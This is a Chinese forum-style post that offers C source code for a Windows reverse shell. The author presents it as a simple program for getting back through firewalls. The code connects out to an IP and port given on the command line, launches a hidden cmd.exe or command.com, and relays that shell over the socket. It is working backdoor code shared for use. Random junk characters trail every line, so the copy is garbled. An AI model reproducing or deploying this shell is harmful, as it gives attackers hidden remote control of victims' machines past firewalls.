这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {)" 3
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/* ============================== #UM,)bH
Rebound port in Windows NT 5 ^{~xOM5
By wind,2006/7 Y%
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===============================*/ `O\>vn
#include >_}isCd,
#include {5 dVK
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#pragma comment(lib,"wsock32.lib") A]BeI
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void OutputShell(); <pX?x3-'
SOCKET sClient; BE?]P?r?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v-8>@s jy8
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void main(int argc,char **argv) !gXxM,R
{ %vmd2}dA
WSADATA stWsaData; iYXD }l;r
int nRet; p$Tk;;wm
SOCKADDR_IN stSaiClient,stSaiServer; p(yv
%1#\LRA(
if(argc != 3) 2!%)_<
{ pBqf+}g4
printf("Useage:\n\rRebound DestIP DestPort\n"); NM. e4
return; J*B-*6O44
} VEWW[T
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WSAStartup(MAKEWORD(2,2),&stWsaData); <'\Nv._2a
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F,_L}
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stSaiClient.sin_family = AF_INET; ".}R$W
stSaiClient.sin_port = htons(0); @<W` w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /d&m#%9Up]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J^8j|%h%e
{ ILuQ.VhBVN
printf("Bind Socket Failed!\n"); Fyvo;1a
return; !8@yi"n
} uEgR>X>
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stSaiServer.sin_family = AF_INET; H;`F}qQ3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gJ l^K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SK}jhm"y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >nkVZ;tL
{ {C w.?JU
printf("Connect Error!"); TQB)
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return; &g?GF\Y
} bd/A0i?C
OutputShell(); XL*M#Jx
} 6lzjaW5h
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void OutputShell() M~zI;:0O
{ !oyo_h
char szBuff[1024]; &r[f ;|o
SECURITY_ATTRIBUTES stSecurityAttributes; ;Tbo \Wp9
OSVERSIONINFO stOsversionInfo; rl.K{Uad
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4j3q69TZR
STARTUPINFO stStartupInfo; 59nRk}^$se
char *szShell; hP:>!KJ
PROCESS_INFORMATION stProcessInformation; 7 2$S'O%,0
unsigned long lBytesRead; 1XiA
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }hy4EJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C-edQWbcP
stSecurityAttributes.lpSecurityDescriptor = 0; gb,ZN^3<-
stSecurityAttributes.bInheritHandle = TRUE; o?ug`m"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j+3\I>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !WXV1S
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ">T\]V$R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D@p{EH
stStartupInfo.wShowWindow = SW_HIDE; SB%D%Zx6'%
stStartupInfo.hStdInput = hReadPipe; X!g;;DB\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4lPO*:/
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GetVersionEx(&stOsversionInfo); *Y85evq
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switch(stOsversionInfo.dwPlatformId) bF9.k
{ }S iR;2W
case 1: oY ~q^Y
szShell = "command.com"; .]E"w9~
break; & *tL)qKDc
default: XR]bd
szShell = "cmd.exe"; r]6+&K
break; NtGJpT4YX
} 7a>+ma\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _#M4zO7
=WUNBav
send(sClient,szMsg,77,0); `(j~b=PP
while(1) TgJ+:^+0
{ :Xy51p`.;]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4wv0~T$;x
if(lBytesRead) C_3,|Zq?|
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;a|%W4 "
send(sClient,szBuff,lBytesRead,0); qbQdxKk
} ?Xpk"N7
else N5W!(h)
{ fhn$~8[_A
lBytesRead=recv(sClient,szBuff,1024,0); E4=D$hfq`
if(lBytesRead<=0) break; ;^JMX4[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L_T+KaQCH
} DI(X B6
} qYoU\y7
i<$?rB!i<1
return; /\qzTo
}